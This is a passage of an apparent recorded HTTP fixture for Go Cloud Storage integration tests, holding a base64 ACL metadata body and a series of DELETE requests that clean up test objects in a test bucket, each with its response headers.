oiMTU1NjgzNTk4ODI3MzUzMCIsImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNQcnl0NER5L2VFQ0VBRT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoiU20xZ0t3PT0iLCJldGFnIjoiQ1ByeXQ0RHkvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0IiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvemVyby1vYmplY3QvMTU1NjgzNTg1NjUzNzAxNiIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL3plcm8tb2JqZWN0IiwibmFtZSI6Inplcm8tb2JqZWN0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NTY1MzcwMTYiLCJtZXRhZ2VuZXJhdGlvbiI6IjEiLCJjb250ZW50VHlwZSI6InRleHQvcGxhaW47IGNoYXJzZXQ9dXRmLTgiLCJ0aW1lQ3JlYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MTYuNTM2WiIsInVwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjE2LjUzNloiLCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsInRpbWVTdG9yYWdlQ2xhc3NVcGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDoxNi41MzZaIiwic2l6ZSI6IjAiLCJtZDVIYXNoIjoiMUIyTTJZOEFzZ1RwZ0FtWTdQaENmZz09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL3plcm8tb2JqZWN0P2dlbmVyYXRpb249MTU1NjgzNTg1NjUzNzAxNiZhbHQ9bWVkaWEiLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS96ZXJvLW9iamVjdC8xNTU2ODM1ODU2NTM3MDE2L3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL3plcm8tb2JqZWN0L2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJ6ZXJvLW9iamVjdCIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODU2NTM3MDE2IiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNMaXJ6OEh4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS96ZXJvLW9iamVjdC8xNTU2ODM1ODU2NTM3MDE2L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby96ZXJvLW9iamVjdC9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Inplcm8tb2JqZWN0IiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NTY1MzcwMTYiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDTGlyejhIeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvemVyby1vYmplY3QvMTU1NjgzNTg1NjUzNzAxNi9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vemVyby1vYmplY3QvYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJ6ZXJvLW9iamVjdCIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODU2NTM3MDE2IiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNMaXJ6OEh4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS96ZXJvLW9iamVjdC8xNTU2ODM1ODU2NTM3MDE2L3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby96ZXJvLW9iamVjdC9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Inplcm8tb2JqZWN0IiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NTY1MzcwMTYiLCJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDTGlyejhIeC9lRUNFQUU9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImNyYzMyYyI6IkFBQUFBQT09IiwiZXRhZyI6IkNMaXJ6OEh4L2VFQ0VBRT0ifV19" - } - }, - { - "ID": "744cbe6970c9623b", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/acl1?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:26:35 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpfI-4jHQ7K_XJuo8cMIfOvPLKerfuQA1KlRDBi4Fq11Uc9i--oKNuFL_MbH0CCxK8PeI4r4fmZILF9hdSGAMMpMmyX0w67j7t84C4tRDx2LnbzG4I" - ] - }, - "Body": "" - } - }, - { - "ID": "a2bea52380600211", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/acl2?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:26:35 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrzTcVhZWJuBZITVX_K6haiVlOGb5fEYRdiiH8ODa4XsVSPl4FCDs7zPpKMTfoZA1veIMd4ccdcj8rUqWDMcRfDU5l4cOGvNhGZV-h9S2AVJfl6GdE" - ] - }, - "Body": "" - } - }, - { - "ID": "e187777c49170a6d", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/bucketInCopyAttrs?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:26:36 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UouPwITheFghtKlzs2vxoAGnEm_V7OZZnYkk_0pLhV8g5YN6TPRS2n1h0iAtzkuFXYtjovp3ifqt_351LO6-CobCar6VgRnJ-_EQ9WgOWhIC9DzYTs" - ] - }, - "Body": "" - } - }, - { - "ID": "653fa745ed683364", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/checksum-object?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:26:36 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoBLZLK-ePmvYxO2ByvMQ1dXb_4-5yhOR-1nYkxjkINZf5fY9ptO2H4RfRtbIrRQ-QQNZHqZGgCOGJakKLkNgVI2_ExobQLkJ-JaJ-ViDWL9GZCEgU" - ] - }, - "Body": "" - } - }, - { - "ID": "91230665f80c46f7", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/composed1?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:26:36 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Upasg8dCwbL7dWntUy3O1t_wWVeDNNT3YCz1uVNL8QUNh4z75y0p9OfL57wFX4CUv3NV06Oi9f7a85m42BzgDZl-kqmv4com_INYmRYjKbwrTdFB8A" - ] - }, - "Body": "" - } - }, - { - "ID": "dc68e1f94de4fa2a", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/composed2?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:26:36 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqXdUtFVSSFIrK72haTC8pKLogl9pB4lDLpARc8oDKdNt1yfbHj4VAQH0M_Doqj1mLY2LVmThFxvG_1mvtVBm-N4x_J-c5Izq46lZh_xx3wOQEYZKQ" - ] - }, - "Body": "" - } - }, - { - "ID": "db5b5c31ef8e503e", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/content?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:26:36 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Ur2nVuDhUpL1-5n7rzvboeHuOBlvh-59eoy59Y5ZIyvUy6FXYj2eCphVTBFkaIPXK7XIS6DJXkPzZABjiFi4hMA7Ewdgp860sYu44qguzhTfOymXYY" - ] - }, - "Body": "" - } - }, - { - "ID": "f44103066254972d", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/customer-encryption?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:26:36 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uqul73HMDr4p6XCqdfKz99RILwd68VT50DnynneOl5m5E_a7ky2mbMA8mdM6xyAWCQtiJm8dCxvIuKYtjLavA8JUlkGIqqCLGfLbB2EvWahd55Fw_A" - ] - }, - "Body": "" - } - }, - { - "ID": "99aa9c86d4998414", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/customer-encryption-2?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:26:36 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uqfk5JfeEeFo80cy1Y-OxXgzSIbt_x7qDWML2yJopIrt9DsPmRq4cDVFqg6sUFStj6aMrjxP7iu_tbwZzS_3BtnwqfPrJZvHllZ7tdeFTXLmto742o" - ] - }, - "Body": "" - } - }, - { - "ID": "24bd829460fb4df6", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/customer-encryption-3?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:26:37 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UprF0LO3CObAApP8iwUO6IvC-Yh-5whtr0F_mMzaj0rltEl4C-AZjNuBMGuQUue-v9oBqb-nQU2ykIenSZ3UYnK4XVV7moFIS43VyP7pByYqsHPkMo" - ] - }, - "Body": "" - } - }, - { - "ID": "acdf7531eddfd72c", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/gzip-test?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:26:37 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqAEWwZD_lXrdbrjMg-PYbmLP1-zSzjESAs-osetXJrFTueJ6ufxVfA3xkMG5KjtEz-68YryfKl9gAGsgfseX6H5COwltvyW6pJSdxDdA-dTV_S8eU" - ] - }, - "Body": "" - } - }, - { - "ID": "8facd7ede0dc71a6", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/hashesOnUpload-1?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:26:37 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrInkaBVPO1ip6mFSpF0Nihd1wYE9HNfIz8HfFsZkiEVG1mX7eKMItsbmNwWMehWZ0qaKAf081imDi7DmKqs6mEy7vyTokMNXVUp5LrFoQ-yDfVRuc" - ] - }, - "Body": "" - } - }, - { - "ID": "6affac5f0a8dea5a", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/obj%2Fwith%2Fslashes?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:26:37 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqhbUYzZ-vUqGcyfzGFaQrr89Q05cXGCB0EbWA2Dy8dmQxB3uWJ7_FUwi6Ish-VMpOrZv78bT9qAHd5Tr5b3s8bTCX6QR9HlelvxkKdyrUv2G8QQuY" - ] - }, - "Body": "" - } - }, - { - "ID": "8258a6e1b5dc73aa", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/obj1?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:26:37 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - 